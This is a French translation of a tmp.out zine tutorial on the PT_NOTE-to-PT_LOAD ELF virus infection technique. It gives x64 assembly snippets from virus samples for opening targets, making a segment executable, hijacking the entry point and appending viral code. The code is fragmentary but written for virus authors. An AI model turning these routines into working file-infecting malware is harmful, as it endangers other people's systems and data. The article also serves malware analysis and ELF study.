┌───────────────────────┐
                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                            │ █   █ █ █ █   █       │
                                                            │ █   █ █ █ █▀▀▀▀       │
                                                            │ █   █   █ █     ▄     │
                                                            │                 ▄▄▄▄▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄   ▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄▄▄▄▄ │
Implémentation du processus d'infection PT_NOTE en          │                   █   │
l'assembleur x64                                            │                   █   │
~ sblip et l'équipe de tmp.out                              └───────────────────█ ──┘

[ Traduit en français par @MorpheusH3x)from the ret2school team ]

Dans ce premier numéro de tmp.out, nous avons fourni plusieurs exemples de 
l'algorithme d'infection PT_NOTE->PT_LOAD, trois en asm x64 et un en Rust. 
Pour ceux qui apprennent le métier, j'ai pensé qu'il était utile d'aborder la mise en
œuvre de certaines des étapes spécifiques dans l'assemblage x64. En mars 2019, alors
que je travaillais sur une réécriture golang de la backdoorfactory, j'ai écrit une 
analyse de la mise en œuvre de l'algorithme en golang en lien ci-dessous, pour ceux 
qui sont intéressés à faire des choses amusantes ELF en golang :

  https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/

L'algorithme pour x64 est bien sûr le même, mais je vais fournir quelques extraits de
code ci-dessous qui, je l'espère, seront utiles pour le futur programmeur ELF pour 
x64. 

Nous pouvons utiliser les mêmes étapes énumérées dans l'article ci-dessus comme 
référence, bien que l'ordre dans lequel les choses sont faites puisse changer en 
fonction de l'implémentation. Certaines méthodes écrivent un nouveau fichier sur le
disque et le recopient ensuite, tandis que d'autres écrivent directement dans le 
fichier.

À partir du lien ci-dessus, une liste générique d'étapes pour mettre en œuvre 
l'algorithme d'infection PT_NOTE->PT_LOAD :

  1. Ouvrir le fichier ELF à injecter.
  2. Sauvegarder le point d'entrée original, e_entry.
  3. Analyser la table d'en-tête du programme, à la recherche d'un segment PT_NOTE.
  4. Convertir le segment PT_NOTE en segment PT_LOAD.
  5. Modifier les protections de la mémoire pour ce segment afin de permettre les 
     instructions exécutables.
  6. Changer l'adresse du point d'entrée en une zone qui n'entrera pas en conflit 
     avec l'exécution du programme original. 
  7. Ajuster la taille sur le disque et la taille de la mémoire virtuelle pour tenir
     compte de la taille du code injecté.
  8. Pointer l'offset de notre segment converti vers la fin du binaire original, 
     où nous allons stocker le nouveau code.
  9. Corriger la fin du code avec des instructions pour sauter au point d'entrée 
     original.
 10. Ajouter notre code injecté à la fin du fichier.
*11. Réécrire le fichier sur le disque, par-dessus le fichier original* -- nous ne 
     couvrirons pas cette variante d'implémentation ici, qui crée un nouveau binaire
     ELF temporaire sur le disque. 

Nous suivrons grossièrement les étapes ci-dessus, mais le lecteur doit garder à 
l'esprit que certaines d'entre elles peuvent être exécutées dans le désordre (et que
certaines ne peuvent être exécutées avant que d'autres ne l'aient été) - mais au 
final, toutes les étapes doivent être suivies.

1. Ouvrir le fichier ELF (Executable and Linkable Format, format exécutable et 
   liable) à injecter:

L'appel syscall getdents64() est la façon dont nous trouvons les fichiers sur les 
systèmes 64 bits. La fonction est définie comme suit :

  int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

Nous laisserons l'implémentation de getdents64() comme un exercice pour le lecteur -
Il y a plusieurs exemples de cela dans le code distribué avec cette publication, y 
compris dans Midrashim, kropotkin, Eng3ls, et Bak0unin.

Pour les historiens d'ELF, j'ai écrit un article terrible (et maintenant complètement
dépassé) il y a 20 ans sur la façon de faire cela en syntaxe AT&T 32 bits, situé ici:

  https://tmpout.sh/papers/getdents.old.att.syntax.txt

En supposant que nous ayons appelé getdents64() et stocké la structure d'entrée de 
répertoire sur la pile, nous pouvons voir en la regardant :

  struct linux_dirent {
      unsigned long  d_ino;     /* Numéro d'inœud */
      unsigned long  d_off;     /* Distance au prochain linux_dirent */
      unsigned short d_reclen;  /* Longueur de ce linux_dirent */
      char           d_name[];  /* Nom de fichier (fini par un caractère nul '\0') */
                        /* La longueur est en fait (d_reclen - 2 -
                                      offsetof(struct linux_dirent, d_name)) */
      /*
      char           pad;       // Octet nul de remplissage
      char           d_type;    // Type de fichier (seulement depuis
                                // Linux 2.6.4) ; sa position est
                                // (d_reclen - 1)
      */
  }

Le nom de fichier à terminaison nulle d_name se trouve à l'offset [rsp+18] ou 
[rsp+0x12]

  d_ino est les octets 0-7            - unsigned long
  d_off est les octets 8-15           - unsigned long
  d_reclen est les octets 16-17       - unsigned short
  d_name commence sur le 18ème octet. - nom de fichier à terminaison nulle '\0'

pour notre appel à open(), int open(const char *pathname, int flags, mode_t mode) ;

  - rax contiendra le numéro du syscall, 2.
  - rdi contiendra le nom de fichier d_name, dans notre cas [rsp+18].
  - rsi contiendra les drapeaux, qui pourraient être soit O_RDONLY (0) soit 
    O_RDWR (02), selon la façon dont notre vx fonctionne.
  - rdx contiendra le mode, mais nous n'en avons pas besoin et nous le mettrons 
    à zéro.

Donc le code suivant :

  mov rax, 2         ; mettre en place l'appel syscall désiré
  mov rdi, [rsp+18]  ; d_nom de la structure dirent qui commence au début
                     ; de la pile/ stack.
  mov rsi, 2         ; O_RDWR / Lecture et écriture
  syscall

retournera un descripteur de fichier dans rax si elle réussit.
0 ou négatif, si une erreur s'est produite lors de l'ouverture du fichier.

  cmp rax, 0
  jng file_open_error

ou

  test rax, rax
  js file_open_error

2. Sauvegarder le point d'entrée original, e_entry:

Dans Midrashim de TMZ, il stocke le point d'entrée original dans le registre r14 pour
une utilisation ultérieure, qu'il a copié sur la stack. Les registres hauts r13, r14,
et r15 sont de bons endroits pour stocker des données/adresses pour une utilisation 
ultérieure, car ils ne sont pas encombrés par les appels système.

  ; Mémoire tampon de la stack:
  ; r15 + 0 = tampon de la stack (10000 bytes) = stat
  ; r15 + 48 = stat.st_size
  ; r15 + 144 = ehdr
  ; r15 + 148 = ehdr.class
  ; r15 + 152 = ehdr.pad
  ; r15 + 168 = ehdr.entry
  ---cut---
  
  mov r14, [r15 + 168] ; stockage de l'entrée ehdr.originale provenant de [r15 + 168]
                       ; dans r14

3. Analyser la table d'en-tête du programme, à la recherche d'un segment PT_NOTE:

Comme vous l'avez probablement déduit du nom de cet article, notre objectif est de 
convertir un segment PT_NOTE en un segment PT_LOAD chargeable, avec des permissions 
rx (ou rwx). Je serais négligent de ne pas mentionner que cet algorithme ne 
fonctionne pas "à l'emporte-pièce" pour certains binaires tels que les binaires en 
golang, et tous les binaires compilés avec le drapeau -fcf-protection, sans encore 
plus de magie que nous n'avons pas encore fait (ou vu). Le prochain contenu du zine,
Every0ne ? 

Mis à part les cas limites, le concept de base est simple - les segments PT_LOAD sont
effectivement chargés en mémoire lorsqu'un binaire ELF est exécuté - les segments 
PT_NOTE ne le sont pas. Cependant, si nous changeons une section PT_NOTE en type 
PT_LOAD, et changeons les permissions de mémoire pour au moins lire et exécuter, nous
pouvons y placer le code que NOUS voulons exécuter, écrire nos données à la fin du 
fichier d'origine et modifier les variables d'entrée de la table d'en-tête de 
programme associée pour faciliter le chargement correct.

Nous plaçons une valeur dans le champ d'adresse virtuelle v_addr qui se trouve très 
haut dans la mémoire, ce qui ne gênera pas l'exécution normale du programme. Nous 
modifions ensuite le point d'entrée d'origine pour sauter d'abord vers notre nouveau
code de segment PT_LOAD, qui fait ce qu'il fait, puis appelle le code du programme 
d'origine.

Une entrée de la table d'en-tête de programme ELF 64 bits a la structure suivante:

  typedef struct {
      uint32_t   p_type;   // 4 octets
      uint32_t   p_flags;  // 4 octets
      Elf64_Off  p_offset; // 8 octets
      Elf64_Addr p_vaddr;  // 8 octets
      Elf64_Addr p_paddr;  // 8 octets
      uint64_t   p_filesz; // 8 octets
      uint64_t   p_memsz;  // 8 octets
      uint64_t   p_align;  // 8 octets
  } Elf64_Phdr;

Dans cet extrait de code de kropotkin.s, nous parcourons chaque entrée du PHT en 
chargeant l'offset du Program Header Table dans rbx, le nombre d'entrées PHT dans
ecx, et en lisant les 4 premiers octets au début de l'entrée à la recherche d'une 
valeur de 4, qui est le nombre désigné pour les segments de type PT_NOTE.  

parse_phdr:                          ; PHT = Program Header Table
  xor rcx, rcx                       ; Remise à zéro de rcx
  xor rdx, rdx                       ; Remise à zéro de rcx
  mov cx, word [rax+e_hdr.phnum]     ; rcx contient le nombre d'entrées du PHT 
  mov rbx, qword [rax+e_hdr.phoff]   ; rbx contient l'offset du PHT
  mov dx, word [rax+e_hdr.phentsize] ; rdx contient la taille d'une entrée dans le 
                                     ; PHT

  loop_phdr:
      add rbx, rdx                   ; pour chaque itération, ajouter la taille d'une
                                     ; entrée PHT
      dec rcx                        ; diminuer phnum jusqu'à ce que nous ayons itéré
                                     ; au travers de tous les en-têtes du programme 
                                     ; ou segments PT_NOTE trouvés
      cmp dword [rax+rbx+e_phdr.type], 0x4  ; si 4, nous avons trouvé un segment
                                            ; PT_NOTE, et allons l'infecter
      je pt_note_found
      cmp rcx, 0
      jg loop_phdr
      ...
      ...
  pt_note_found:

4. Convertir le segment PT_NOTE en segment PT_LOAD:

Pour convertir un segment PT_NOTE en un segment PT_LOAD,
nous devons modifier quelques valeurs dans l'entrée du PHT qui décrit le segment.

Notez que les binaires ELF 32 bits ont une structure d'entrée PHT différente,
la valeur p_flags étant la 7ème entrée de la structure, alors qu'elle est la 2ème 
entrée dans son homologue 64 bits.

  typedef struct {
      uint32_t   p_type;  <-- Changez cette valeur à PT_LOAD == 1
      uint32_t   p_flags; <-- Passez à des droits de lecture et d'exécution au moins.
      Elf64_Off  p_offset;
      Elf64_Addr p_vaddr; <-- Adresse virtuelle très élevée où le segment sera chargé
      Elf64_Addr p_paddr;
      uint64_t   p_filesz;
      uint64_t   p_memsz;
      uint64_t   p_align;
  } Elf64_Phdr;

Tout d'abord, le p_type doit être changé de PT_NOTE, qui est 4, à PT_LOAD, qui est 1.

Deuxièmement, les p_flags doivent être modifiés pour, au minimum, permettre l'accès 
en lecture et en exécution. Il s'agit d'un masque de bits standard, tout comme les 
permissions de fichiers d'Unix, avec

  PF_X == 1
  PF_W == 2
  PF_R == 4

Dans la syntaxe fasm (flat assembler), comme indiqué ci-dessous, cela se fait 
simplement en tapant "PF_R ou PF_X".

Troisièmement, nous devons choisir une adresse pour le chargement des nouvelles 
données virales. Une technique courante consiste à choisir une adresse très élevée,
0xc000000, qui a peu de chances de chevaucher un segment existant. Nous ajoutons 
cette valeur à la taille du fichier stat.st_size, qui, dans le cas ci-dessous, a été
extraite de r15+48 et stockée dans r13, à laquelle nous ajoutons ensuite 0xc000000. 
Nous stockons ensuite cette valeur dans p_vaddr.

Dans Midrashim de TMZ:

  .patch_phdr:
    mov dword [r15 + 208], PT_LOAD              ; changer le type de phdr [r15 + 208]
                                                ;  de PT_NOTE à PT_LOAD (1)
    mov dword [r15 + 212], PF_R or PF_X         ; changer phdr.flags en [r15 + 212] 
                                                ;  à PF_X (1) ou PF_R (4)
    pop rax                                     ; restaurer l'offset EOF de la cible 
                                                ; dans rax
    mov [r15 + 216], rax                        ; phdr.offset [r15 + 216] = target 
                                                ;  EOF offset
    mov r13, [r15 + 48]                         ; stockage de la cible stat.st_size 
                                                ;  de [r15 + 48] en r13
    add r13, 0xc000000                          ; ajouter 0xc000000 à la taille du 
                                                ;  fichier cible
    mov [r15 + 224], r13                        ; changer de phdr.vaddr en [r15+224]
                                                ;  vers le nouveau en r13 
                                                ;  (stat.st_size + 0xc000000)
    mov qword [r15 + 256], 0x200000             ; définir phdr.align [r15 + 256] à 
                                                ;  0x200000
    add qword [r15 + 240], v_stop - v_start + 5 ; ajouter la taille du virus à 
                                                ;  phdr.filesz en [r15 + 240] + 5 
                                                ;  pour le saut à l'original
                                                ;  ehdr.entry
    add qword [r15 + 248], v_stop - v_start + 5 ; ajouter la taille du virus à 
                                                ;  phdr.memsz en [r15 + 248] + 5 pour
                                                ;  le saut à l'original ehdr.entry

5. Modifier les protections de la mémoire pour ce segment afin de permettre les 
   instructions exécutables:

    mov dword [r15 + 212], PF_R or PF_X         ; changer phdr.flags en [r15 + 212] 
                                                ;  à PF_X (1) ou PF_R (4)

6. Changer l'adresse du point d'entrée en une zone qui n'entrera pas en conflit avec 
   l'exécution du programme original: 

Nous utiliserons 0xc000000. Choisissez une adresse qui sera suffisamment haute dans 
la mémoire virtuelle pour qu'une fois chargée, elle ne chevauche pas d'autres codes.

    mov r13, [r15 + 48]     ; stockage de la cible stat.st_size de [r15 + 48] en r13
    add r13, 0xc000000      ; ajout de 0xc000000 à la taille du fichier cible
    mov [r15 + 224], r13    ; remplacement de phdr.vaddr de [r15 + 224] par le
                            ;  nouveau en r13 (stat.st_size + 0xc000000)

7. Ajuster la taille sur le disque et la taille de la mémoire virtuelle pour tenir 
   compte de la taille du code injecté:

    add qword [r15 + 240], v_stop - v_start + 5 ; ajouter la taille du virus à
                                                ; phdr.filesz en [r15 + 240] + 5 
                                                ; pour le jmp à l'ehdr.entry original
    add qword [r15 + 248], v_stop - v_start + 5 ; ajouter la taille du virus à 
                                                ; phdr.memsz en [r15 + 248] + 5 pour
                                                ; le jmp à l'ehdr.entry original

8. Pointer l'offset de notre segment converti vers la fin du binaire original, 
   où nous allons stocker le nouveau code:

   Précédemment dans Midrashim de TMZ, ce code était exécuté :
    
    mov rdx, SEEK_END
    mov rax, SYS_LSEEK
    syscall                ; stockage de l'offset de la cible EOF dans rax
    push rax               ; sauvegarde de la cible EOF

   Dans .patch_phdr, nous utilisons cette valeur comme emplacement pour stocker notre
   nouveau code :

    pop rax                ; restauration de l'offset EOF de la cible en rax
    mov [r15 + 216], rax   ; phdr.offset [r15 + 216] = offset EOF de la cible


9. Corriger la fin du code avec des instructions pour sauter au point d'entrée 
   original:

  Exemple #1, tiré des Midrashim, utilisant l'algorithme de Binjection :

     .write_patched_jmp:
      ; obtention d'une nouvelle cible EOF
      mov rdi, r9            ; r9 contient fd
      mov rsi, 0             ; rechercher l'offset 0
      mov rdx, SEEK_END      ; commencer à la fin du fichier
      mov rax, SYS_LSEEK     ; lseek syscall (appel système)
      syscall                ; obtention de l'offset de la cible EOF dans rax

      ; création d'un jmp patché
      mov rdx, [r15 + 224]         ; rdx = phdr.vaddr
      add rdx, 5                   ; la taille d'une instruction jmp
      sub r14, rdx                 ; soustraire la taille du saut de notre mémoire.
                                   ;  e_entry de l'étape 2 (sauvegarde de e_entry)
      sub r14, v_stop - v_start    ; soustraire la taille du code du virus lui-même
      mov byte [r15 + 300 ], 0xe9  ; premier octet des instructions de saut
      mov dword [r15 + 301], r14d  ; nouvelle adresse à laquelle sauter, mise à jour
                                   ; par soustraction de la taille du virus et celle
                                   ; de l'instruction jmp

   Exemple #2, à partir des vx de sblip/s01den, en utilisant la technique EOP de 
   elfmaster :

    L'explication de cette méthode dépasse le cadre de ce document - à titre de 
    référence :

      https://tmpout.sh/1/11.html

   The code from kropotkin.s:
   
       mov rcx, r15                    ; rsp enregistré
       add rcx, VXSIZE
       mov dword [rcx], 0xffffeee8     ; appel relatif à get_eip
       mov dword [rcx+4], 0x0d2d48ff   ; sub rax, (VXSIZE+5)
       mov byte  [rcx+8], 0x00000005 
       mov word  [rcx+11], 0x0002d48
       mov qword [rcx+13], r9          ; sub rax, entry0  
       mov word  [rcx+17], 0x0000548
       mov qword [rcx+19], r12         ; add rax, sym._start
       mov dword [rcx+23], 0xfff4894c  ; movabs rsp, r14
       mov word  [rcx+27], 0x00e0      ; jmp rax

10. Ajouter notre code injecté à la fin du fichier:

Dans Midrashim de TMZ:

  Nous ajoutons notre code directement à la fin du fichier, et pointons la nouvelle
  adresse de PT_LOAD. Tout d'abord, nous recherchons la fin du fichier en utilisant
  l'appel système lseek pour aller à la fin du fichier dont le descripteur de fichier
  est maintenu dans le registre r9. 
  L'appel de .delta pousse l'adresse de l'instruction suivante sur le au sommet de la
  pile, dans ce cas 'pop rbp'. En extrayant cette instruction et en puis en 
  soustrayant .delta, on obtient l'adresse mémoire du virus en cours d'exécution, qui
  est utilisée lors de la lecture/copie du code du virus ci-dessous où vous où l'on 
  voit 'lea rsi, [rbp + v_start]' - fournissant un emplacement de départ pour la 
  lecture des les octets à écrire, avec le nombre d'octets à écrire est mis dans rdx
  avant l'appel à pwrite64().

  .append_virus:
    ; getting target EOF
    mov rdi, r9               ; r9 contient fd
    mov rsi, 0                ; rechercher l'offset 0
    mov rdx, SEEK_END         ; commencer à la fin du fichier
    mov rax, SYS_LSEEK        ; lseek syscall (appel système)
    syscall                   ; obtention de l'offset de la cible EOF dans rax
    push rax                  ; sauvegarde de la cible EOF

    call .delta               ; l'éternel tour de passe-passe
    .delta:
        pop rbp
        sub rbp, .delta

    ; écrire le corps du virus à EOF
    mov rdi, r9               ; r9 contains fd
    lea rsi, [rbp + v_start]  ; chargement de l'adresse v_start en rsi
    mov rdx, v_stop - v_start ; la taille du virus
    mov r10, rax              ; rax contient le décalage de la cible EOF de l'appel 
                              ; syscall précédent
    mov rax, SYS_PWRITE64     ; syscall #18, pwrite()
    syscall

L'algorithme d'infection PT_NOTE présente l'avantage d'être assez facile à apprendre
et d'être très polyvalent. Il peut être combiné à d'autres techniques et toutes 
sortes de données peuvent être stockées dans un segment PT_LOAD converti, y compris
des tables de symboles, des données brutes, du code pour un objet DT_NEEDED ou même
un binaire ELF entièrement séparé. J'espère que cet article sera utile à toute 
personne apprenant le langage d'assemblage x64 dans le but de jouer avec des binaires
ELF.